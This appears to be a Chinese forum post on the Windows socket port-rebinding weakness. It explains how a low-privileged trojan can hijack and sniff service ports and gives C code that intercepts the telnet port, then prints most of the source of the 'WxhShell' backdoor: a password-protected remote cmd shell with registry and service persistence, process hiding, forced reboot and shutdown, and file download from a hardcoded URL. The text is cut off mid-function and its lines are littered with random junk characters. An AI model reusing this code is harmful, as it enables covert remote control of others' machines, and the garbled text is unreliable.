在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?e%u[ Q0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
29nMm>P.e %(S!/(LWW saddr.sin_family = AF_INET;
TtrV
-X>L .E9$j<SP- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
610u!_- )8taMC:H^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hltUf5m'b BI<(]`FP;s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
J vl-=~ }R~C<3u\2 这意味着什么?意味着可以进行如下的攻击:
.]0:`Y,; *x)u9rO] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
dP<i/@21Wm 8PqlbLo1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
yjOZed;M k~2FlRoC^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tI cpPS8V 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Ld'3uM/ t R.>d 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"u'dd3! -M+o; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/IG3>|R 1]W8A.ZS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
f7a"}.D$ [U$`nnp #include
^U^K\rq 1u #include
3*F|`js" #include
Q>xp 90&.n #include
f*EDSJu\ DWORD WINAPI ClientThread(LPVOID lpParam);
9%dO"t$-q int main()
{qm5H7sL {
-%Jm-^F I WORD wVersionRequested;
+O1=Ao DWORD ret;
S] 4RGWn WSADATA wsaData;
ivSpi?
BOOL val;
?btX&:j2P SOCKADDR_IN saddr;
vos-[$ SOCKADDR_IN scaddr;
ZSB;4 ?:h int err;
2h)* SOCKET s;
3!Mb<W.3 SOCKET sc;
KhPDXY]! int caddsize;
lrgvY>E0 HANDLE mt;
QbYNL9% DWORD tid;
BPy pA$ wVersionRequested = MAKEWORD( 2, 2 );
AY]rQ:I err = WSAStartup( wVersionRequested, &wsaData );
oMxpdG3y- if ( err != 0 ) {
Va/}|&9 printf("error!WSAStartup failed!\n");
C@MJn)$4 return -1;
D7v.Xq| }
wh3Wuh?x saddr.sin_family = AF_INET;
[3]h(D (#Xgfb"S3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
TrVQ]9;jWk ?' $}k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
08$l= saddr.sin_port = htons(23);
"-Uqv@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>BjZ{7?Ok {
hAB:;r XlI printf("error!socket failed!\n");
c ;'7o=rr return -1;
I^O`#SA ( }
^izf&W.j! val = TRUE;
?`B6I!S0[ //SO_REUSEADDR选项就是可以实现端口重绑定的
WWA!_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)IuwI #pm {
Lf,C50 printf("error!setsockopt failed!\n");
=/N0^ return -1;
=Q8$O
2TW }
I -XkxDw //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,`( Qs7)Xx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
yiczRex%rq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/j:-GJb*!u ]r1Lr{7^S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tTe:Oq {
k")3R}mX ret=GetLastError();
)1&,khd/u printf("error!bind failed!\n");
FFc?Av?_ return -1;
z\<gm$1CB }
K
st2.Yy listen(s,2);
k= 9a/M
u while(1)
a{iG0T.{Yh {
c+u) C%g caddsize = sizeof(scaddr);
L_AQS9a^D //接受连接请求
y|%lw%cSe sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
M'xG.' if(sc!=INVALID_SOCKET)
Lw{'mtm {
p|=0EWo4U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
o&HFlDZ5jO if(mt==NULL)
-PHqD {
gjy:o5{vA* printf("Thread Creat Failed!\n");
q%FXox~b break;
":Pfi!9Wl }
ld'Aaxl& }
x{{ZV] CloseHandle(mt);
;7yt,b5&C }
LYS[qLpf closesocket(s);
Q#I?nBin WSACleanup();
O:X|/g0Y return 0;
gd ; e-. }
}x:nhy` DWORD WINAPI ClientThread(LPVOID lpParam)
u=B,i#>s {
_lG\_6oJ, SOCKET ss = (SOCKET)lpParam;
.w~zW*M0 SOCKET sc;
,:3Di ( unsigned char buf[4096];
MtK5>mhZI` SOCKADDR_IN saddr;
-MeO|HWm long num;
nB ,&m& DWORD val;
JZ0u/x5 DWORD ret;
9,Ug //如果是隐藏端口应用的话,可以在此处加一些判断
(2%z9W //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?;Ge/~QU5 saddr.sin_family = AF_INET;
b %I2ig saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C9cQ}
j: saddr.sin_port = htons(23);
96CC5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Fy]j33E {
%D*yXNsY printf("error!socket failed!\n");
3Y=?~!,Jk return -1;
ht^xcc }
rKW kT" val = 100;
C AF{7 `{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
24/ ^_Td {
5I@2U vV8 ret = GetLastError();
@c{b\is2 return -1;
o*|j}hnbv }
}Gm/9@oKc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r1X\$& {
}Z\PE0 ret = GetLastError();
38O_PK return -1;
(:T\< }
97(*-e= e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0~j0x# {
cXvq=Rb printf("error!socket connect failed!\n");
)3~):+ closesocket(sc);
!`#xFRHe closesocket(ss);
'x!5fAy return -1;
421ol }
[0mg\n? while(1)
)k|_ CW~ {
~uz 4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)%&~CW+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
#Y9~ Xp^. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,_2ZKO/k$ num = recv(ss,buf,4096,0);
:*/`"M)' if(num>0)
+ %07J6 send(sc,buf,num,0);
ln6Hr^@5 else if(num==0)
`>cBR,)r break;
-:o4|&g<* num = recv(sc,buf,4096,0);
P ||:?3IH if(num>0)
2hI|]p send(ss,buf,num,0);
];1Mg else if(num==0)
m`Ver:{ break;
|\MgE.N }
mdTCe
HX closesocket(ss);
NJraol closesocket(sc);
W{(q7>g return 0 ;
?ydqmj2[F }
m|w-}s, .d>TU bR; wR= WS', ==========================================================
$.2#G"| 8%wu:;*]% 下边附上一个代码,,WXhSHELL
h|j$Jy 5u-jjUO ==========================================================
>FabmIcC K`?",G?_ #include "stdafx.h"
Q-}yZ /
`Glf| #include <stdio.h>
Th6xwMq
#include <string.h>
3B5GsI #include <windows.h>
OWRT6R4v #include <winsock2.h>
89[5a #include <winsvc.h>
ub/9T-#l #include <urlmon.h>
=
j,Hxq Y[ciT) #pragma comment (lib, "Ws2_32.lib")
TxD,A0 #pragma comment (lib, "urlmon.lib")
%`[Oz[V OF)G2>t #define MAX_USER 100 // 最大客户端连接数
'-7rHx #define BUF_SOCK 200 // sock buffer
Ej]:j8^W
#define KEY_BUFF 255 // 输入 buffer
"ebm3t@C Nf<mgOAT1 #define REBOOT 0 // 重启
?(4E le #define SHUTDOWN 1 // 关机
/RzL,~] ?2#MU #define DEF_PORT 5000 // 监听端口
|99/?T-QW jLRh/pbz4 #define REG_LEN 16 // 注册表键长度
:d
ts> #define SVC_LEN 80 // NT服务名长度
8(Ab
NQ y7quKv7L} // 从dll定义API
*|T]('xwC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V9 dRn2- [ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
M ;\iL?, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8AK=FX&@& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0Y81B;/F }9GD'N?4 // wxhshell配置信息
.W#-Cl&n8 struct WSCFG {
Oist>A$Z int ws_port; // 监听端口
<B?@,S> char ws_passstr[REG_LEN]; // 口令
-<[MM2Y int ws_autoins; // 安装标记, 1=yes 0=no
j<-#a^jb char ws_regname[REG_LEN]; // 注册表键名
oXef<- : char ws_svcname[REG_LEN]; // 服务名
Qt@_C*,P char ws_svcdisp[SVC_LEN]; // 服务显示名
+y$%S4>0tp char ws_svcdesc[SVC_LEN]; // 服务描述信息
;p!|E3o. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+EZ Lic int ws_downexe; // 下载执行标记, 1=yes 0=no
SCCBTpmf2B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
a9ko3L char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gua +-##) bV5 { };
Cz%tk}2 Be=J*D!E=> // default Wxhshell configuration
H<|ilL'fX struct WSCFG wscfg={DEF_PORT,
O#,Uz2 "xuhuanlingzhe",
GxL;@%B 1,
%8_bh8g- "Wxhshell",
qW1d;pt "Wxhshell",
{hzU "WxhShell Service",
(|<e4HfZL "Wrsky Windows CmdShell Service",
jIMT&5k "Please Input Your Password: ",
BB?vc(d 1,
*ydkx\pT "
http://www.wrsky.com/wxhshell.exe",
7<<-\7` "Wxhshell.exe"
5,I|beM };
[\ M$a|K s[
ze8: // 消息定义模块
)AxgKBW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F%t_9S,)O char *msg_ws_prompt="\n\r? for help\n\r#>";
ADTx _tE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/!l$Y? char *msg_ws_ext="\n\rExit.";
b?p <y` char *msg_ws_end="\n\rQuit.";
X0\2q D char *msg_ws_boot="\n\rReboot...";
-bN;nSgb char *msg_ws_poff="\n\rShutdown...";
O T*C7= char *msg_ws_down="\n\rSave to ";
qgT~yDm CEwMPPYnD char *msg_ws_err="\n\rErr!";
FUVoKX!# char *msg_ws_ok="\n\rOK!";
|a3v!va 3C,G~)=
x char ExeFile[MAX_PATH];
-|ho
8alF int nUser = 0;
TY(B]Q_o HANDLE handles[MAX_USER];
raWs6b4Q int OsIsNt;
^PnXnH? 0W92Z@_GY SERVICE_STATUS serviceStatus;
,cgFdOM. SERVICE_STATUS_HANDLE hServiceStatusHandle;
1G0U}-6RH MX@t[{ Gg9 // 函数声明
eI+<^p_j2 int Install(void);
77FI&*q int Uninstall(void);
ne]P -50 int DownloadFile(char *sURL, SOCKET wsh);
X"4 :#s int Boot(int flag);
9{D u)k void HideProc(void);
xJphG int GetOsVer(void);
O%g
Q int Wxhshell(SOCKET wsl);
{:D8@jb[ void TalkWithClient(void *cs);
|[)k5nUQ| int CmdShell(SOCKET sock);
PTU_<\ int StartFromService(void);
V`/E$a1& int StartWxhshell(LPSTR lpCmdLine);
UlG8c~p C 2f=9n/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
qO;.{f VOID WINAPI NTServiceHandler( DWORD fdwControl );
O_9M
/[< 9g7d:zG // 数据结构和表定义
BHVC&F*> SERVICE_TABLE_ENTRY DispatchTable[] =
y&ZyThqg {
B3+9G,or {wscfg.ws_svcname, NTServiceMain},
$+ z3 {NULL, NULL}
Q]JWWKt6rV };
hA6
z%)~s/2Rs // 自我安装
kLsp0%2 int Install(void)
1V\tKDM {
)\S3Q char svExeFile[MAX_PATH];
U$*AV<{% HKEY key;
Jy#c 6 strcpy(svExeFile,ExeFile);
dRdI(' wzXIEWJ // 如果是win9x系统,修改注册表设为自启动
?QDHEC62 if(!OsIsNt) {
Dq [f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F@8G,$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N('=qp9 RegCloseKey(key);
JPH! .@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<r9L-4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'|I8byiK RegCloseKey(key);
4YuJ - return 0;
%^bHQB% }
'YKzs ;y$ }
)x!b{5'"7 }
;u+k!wn else {
x7<2K( .wU0F // 如果是NT以上系统,安装为系统服务
*~D|M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|rU? if (schSCManager!=0)
CPW^pGT+i {
$U_M|Xa SC_HANDLE schService = CreateService
y%Q0*
_ (
AiP#wK; schSCManager,
]u]BxMs wscfg.ws_svcname,
t5| }0ID- wscfg.ws_svcdisp,
S/itK3 SERVICE_ALL_ACCESS,
- w{`/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Bj=lUn`T: SERVICE_AUTO_START,
= 9Ow!(!@ SERVICE_ERROR_NORMAL,
i,H(6NL. svExeFile,
V< Ib#rd' NULL,
*:5S*E&}V NULL,
GM~Ek]9C% NULL,
z#[PTqD-_ NULL,
L@5j? N?F NULL
t)4><22of );
]<3n;*8k? if (schService!=0)
%.h&W; {
Dhe*) CloseServiceHandle(schService);
4'+g/i1S
F CloseServiceHandle(schSCManager);
u?-|sv* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C`@gsF"<7 strcat(svExeFile,wscfg.ws_svcname);
9\zasa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&E]<dmR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;u8a%h! RegCloseKey(key);
S-f
.NC}:i return 0;
Ybk ydc }
*8bj3A]vf }
VMee"'08 CloseServiceHandle(schSCManager);
2q
NA\-0i> }
[.(,vn?6 }
|JL?"cc ^ Fnag]qQ return 1;
Ka_g3 }
S4_C8 gkM Q=;Nn // 自我卸载
$} @gR]
Z int Uninstall(void)
:R{pV7<O {
kR+7JUq] HKEY key;
68?>#o865 +SB>> if(!OsIsNt) {
:R-_EY$k6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q}: $F{ RegDeleteValue(key,wscfg.ws_regname);
{>3J 96 RegCloseKey(key);
:cxA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EY`]""~8v RegDeleteValue(key,wscfg.ws_regname);
@DNwzdP RegCloseKey(key);
Y#5v5
return 0;
J2Mq1*Vp q }
{E;oirv& }
ri`; }
uq2C|=M-x\ else {
64L;np> f<{f/lU@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2oF1do; if (schSCManager!=0)
Dr)jB*yK {
.OpG2P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.6LlkM6[g if (schService!=0)
_-T^YeQ/ {
]$,3vYBf if(DeleteService(schService)!=0) {
oF~+L3&X CloseServiceHandle(schService);
:4r{t?ytXw CloseServiceHandle(schSCManager);
dBkM~" return 0;
a&Z,~Vp }
]6
HR CloseServiceHandle(schService);
p9E/#U8A_ }
wVq9t|V CloseServiceHandle(schSCManager);
8:;]tt }
DDq?4 }
i-}Tt<^ TILH[r&Jg return 1;
JvsL]yRT }
}BUm}.-{u, RW<10: // 从指定url下载文件
4?fpk9c{2 int DownloadFile(char *sURL, SOCKET wsh)
O I0N(V {
'T|EwrS j HRESULT hr;
!Ln 'Mi_B char seps[]= "/";
hD[r6c char *token;
AHo }K\O?r char *file;
M>Q3;s char myURL[MAX_PATH];
vGnFX0?h char myFILE[MAX_PATH];
25Ro
)5 k. NJ+ strcpy(myURL,sURL);
[4hi/60 token=strtok(myURL,seps);
*10qP?0H while(token!=NULL)
va:<W H {
)$GCur~ file=token;
Cw"[$E'J token=strtok(NULL,seps);
I)kc[/^j$ }
=A*a9c2
N^M6*,F,J GetCurrentDirectory(MAX_PATH,myFILE);
1%C EUE strcat(myFILE, "\\");
1cc~UQ strcat(myFILE, file);
Dkx}}E:< send(wsh,myFILE,strlen(myFILE),0);
BCuoFw) send(wsh,"...",3,0);
"L;@qCfhO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
po(pi| if(hr==S_OK)
2acTw# return 0;
ilXKJJda else
D~bx'Wr+ return 1;
,c-*/{3 psse^rFg }
zBK"k]rz }Q*J!OH // 系统电源模块
'"+Gn52# int Boot(int flag)
D@O5G d {
_#1EbvO*l HANDLE hToken;
tDavp:M1v TOKEN_PRIVILEGES tkp;
3:G$Y:#P ,6X__Z#rGT if(OsIsNt) {
NJSbS<O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
o:&8H>(hn] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xkRS?Q g tkp.PrivilegeCount = 1;
+p`BoF9~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pN)x,<M) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<CB%e!~.9 if(flag==REBOOT) {
&Nh
zEl1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k~Q
5Cs return 0;
'7}2}KD }
q7rb3d else {
Td|u-9OM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Rc3!u^?u return 0;
4x}U+1B }
}30Sb&" }
+0)M1!gK else {
9Zj3 "v+b if(flag==REBOOT) {
}& W= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eXD~L&s[ return 0;
7W*a+^ }
XjCx`bX^< else {
:?j=MV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:nR80] return 0;
@/?i|!6 }
b`$qKO }
B'Jf&v 4:S]n19nq return 1;
&ds+9A
}
xJAQ'ANr kI9I{ &J& // win9x进程隐藏模块
n.qT7d( void HideProc(void)
IU5T5p {
Yi,`uJKh S~ Z<-@S HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)/vom6y* if ( hKernel != NULL )
!h4A7KBYG {
,Jh#$mil pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9l"=]7~% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
JV@G9PT FreeLibrary(hKernel);
=.CiKV$E }
BgD3P.;[ pW@W-k:u return;
-.y1]4 }
QuG"]$ /g.c(-#] // 获取操作系统版本
:.-z! int GetOsVer(void)
vK@UK"m {
[OTn>/W' OSVERSIONINFO winfo;
zwU[!i) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
T9%|B9FeJ GetVersionEx(&winfo);
$'>JG9M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|U;O HS return 1;
99`w'Nlk else
{d*OJ/4 return 0;
_Y;tD }
Ihf)gfHj B
@QWr; // 客户端句柄模块
AX$r,KmE int Wxhshell(SOCKET wsl)
LEeA ,Y {
=cZ24I SOCKET wsh;
2"?D aX struct sockaddr_in client;
akt7rnt?i DWORD myID;
hrq% { !Z m7y[Y while(nUser<MAX_USER)
;5L^)Nyd {
GC7 WRA int nSize=sizeof(client);
qzJ<9H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ZLxa|R7 if(wsh==INVALID_SOCKET) return 1;
.MG83Si KUYwc@si\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=f
y|Dm74 if(handles[nUser]==0)
&PRoT#, closesocket(wsh);
J,) ytw] else
[|1I.AZ{ nUser++;
aQ$sn<-l }
xSd&xwP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
te2vv]W1 Kcp YHWCa. return 0;
\u{4=-C. }
u>.a; BO G 3,v'D5 // 关闭 socket
#"KC29!Yj void CloseIt(SOCKET wsh)
!hZ:
\&V {
\Z3K ~ closesocket(wsh);
d8vf
kVB nUser--;
G\BZ^SwE ExitThread(0);
-W1p=od }
j\IdB:}j 64mEZ_kG, // 客户端请求句柄
cjPXrDl{\ void TalkWithClient(void *cs)
z,ERq,g+L {
YmaS,Q- Nz.X$zUmY SOCKET wsh=(SOCKET)cs;
Rr%x;- char pwd[SVC_LEN];
)Ln".Bu, char cmd[KEY_BUFF];
ciN\SA ZY char chr[1];
h#O9TB int i,j;
|xcI~ X7Q El5} f4sl while (nUser < MAX_USER) {
K2yNIq_ D)ri_w!Q if(wscfg.ws_passstr) {
U< Xdhgo? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[Cv./hEQi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
uOLShNo //ZeroMemory(pwd,KEY_BUFF);
<C&|8@A0 i=0;
O7VEyQqf5 while(i<SVC_LEN) {
F""9O6u $~.YB\3 // 设置超时
i,*m(C@F} fd_set FdRead;
]<f(@]R/d struct timeval TimeOut;
C$6FI`J FD_ZERO(&FdRead);
H(
i FD_SET(wsh,&FdRead);
dREY m}1 TimeOut.tv_sec=8;
B F<u3p?? TimeOut.tv_usec=0;
`"&Nw,C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A_oZSUrR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$xZ ~bE9 Cn3_D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`L`+`B pwd
=chr[0]; &;d
N:F;
if(chr[0]==0xd || chr[0]==0xa) { gx9Os2Z|3
pwd=0; :}v-+eIQ
break; ;C$+8%P4
} |{YN3"qN
i++; -C
q;
} R>"Fc/{y
e9h@G#
// 如果是非法用户,关闭 socket s/IsrcfM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $!.>)n
} '^_u5Y]
7:u+cv
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1]2]l*&3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /VT/KT{
~\CS%thX
while(1) { O+=%Mz(l
4kM/`g6?,q
ZeroMemory(cmd,KEY_BUFF); !B%em%Tv
2r!ltG3}
// 自动支持客户端 telnet标准 Om0$6O
j=0; zW%Em81Wd
while(j<KEY_BUFF) { bJ!\eI%ld
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JyMk @Y
cmd[j]=chr[0]; M/Yr0"%Q<.
if(chr[0]==0xa || chr[0]==0xd) { +`Z1L\gmA
cmd[j]=0; ~#*C,4m
break; *pJGp:{6V?
} ^)gyKl:E'
j++; R}Lk$#S#
} >J:=)1`
4Lt9Dx1
// 下载文件 1^WGJ"1
if(strstr(cmd,"http://")) { f*XCWr
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZiJF.(JS
if(DownloadFile(cmd,wsh)) C!5A,| DX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8~o']B;lJ
else 7a'yO+7-)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C.92FiC
} !lgL=Ys(
else { #,d~t
%MjoY_<:_
switch(cmd[0]) { {'O><4
INi$-Y+
// 帮助 lln"c
case '?': { z5fE<=<X_W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); njy2pDC@
break; :jl*Y-mM
} C:J;'[,S
// 安装 fkzSX8a9}
case 'i': { 2H|:/y
if(Install()) /e '3\,2_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW]fme<V?
else Wm}c-GD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `-L?x2)U
break; dM-cQo:
} 1(?4*v@B
// 卸载 m;OvOc,
case 'r': { j~qm$ 'H
if(Uninstall()) nHm}^.B*+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$6o*g>:
else &n k)F<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lj1l]OD
break; wX"hUu
} i?6&4
// 显示 wxhshell 所在路径 =:WZV8@%
case 'p': { 8v"rM
>[
char svExeFile[MAX_PATH]; ebk>e*
strcpy(svExeFile,"\n\r"); EU?qLj':
strcat(svExeFile,ExeFile); {[oNUzcd
send(wsh,svExeFile,strlen(svExeFile),0); ff#7}9_mh
break; \Z]+j@9
} X8|H5Y:
// 重启 pr0X7 #_E5
case 'b': { .{1$;K @
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H`JFXMa<
if(Boot(REBOOT)) b' o]Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xo"GNFh!
else { cfLLFPhv)
closesocket(wsh); XNYA\%:5S
ExitThread(0); Hy.u6Jt*/
} A5XMA|2_
break; (0$~T}lH
} }\"EI<$s
// 关机 3Zb%-_%j
case 'd': { a('0l2e<u9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &GP(yj]
if(Boot(SHUTDOWN)) Ma^jy.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\WR3Q!V
else { Dh
I{&$O/
closesocket(wsh); .G8`Ut Z
ExitThread(0); .<hHK|HF
} |`T(:ZKXZ2
break; CY1WT
} +Iyyk02V
// 获取shell r6DLShP-Ur
case 's': { j_8 Y Fz5
CmdShell(wsh); !vSI"$xd
closesocket(wsh); B]rdgjz*
ExitThread(0); s.2f'i+
break; smn"]K
} MpCPY"WLL
// 退出 nQF&^1n
case 'x': { Qd}n4KF\
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Kpm&vd(
CloseIt(wsh); ;vH2r~
break; 0]DOiA
} 8?yIixhw
// 离开 .hT>a<
case 'q': { O =Z}DGa+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .a%6A#<X
closesocket(wsh); dfDjOZSL
WSACleanup(); I5Vn#_q+b
exit(1); `0d0T~
break; jl,gqMn"V
} / ;`H )
} E)v~kC}7.
} noZbsI4
K.Xy:l*z
// 提示信息 h3MdQlJ&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :@L7RZ`_
} 72<9xNcB!}
} Kr}RFJ"d
BIx*t9wA
return; t>bzo6cj
} N1 t4o~
)&c2+Y@
// shell模块句柄 c2E /-n4K@
int CmdShell(SOCKET sock) A2'i~_e
{ 4)8k?iC*
STARTUPINFO si; @cDB 7w\
ZeroMemory(&si,sizeof(si)); fv;Q*; oC&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hg#tSE
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jD
S?p)&
PROCESS_INFORMATION ProcessInfo; e={O&9Z
char cmdline[]="cmd"; aHhLz>H'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
?8>a;0
return 0; =E-x0sr?
} XcJ5KTn
a5a
;Fp
// 自身启动模式 r:QLU]
int StartFromService(void) ;z:Rj}l
{ 1c$pz:$vX
typedef struct 1iT_mtXK$
{ TegdB|y7O
DWORD ExitStatus; Jf^3nBZ
DWORD PebBaseAddress; )."ob=m
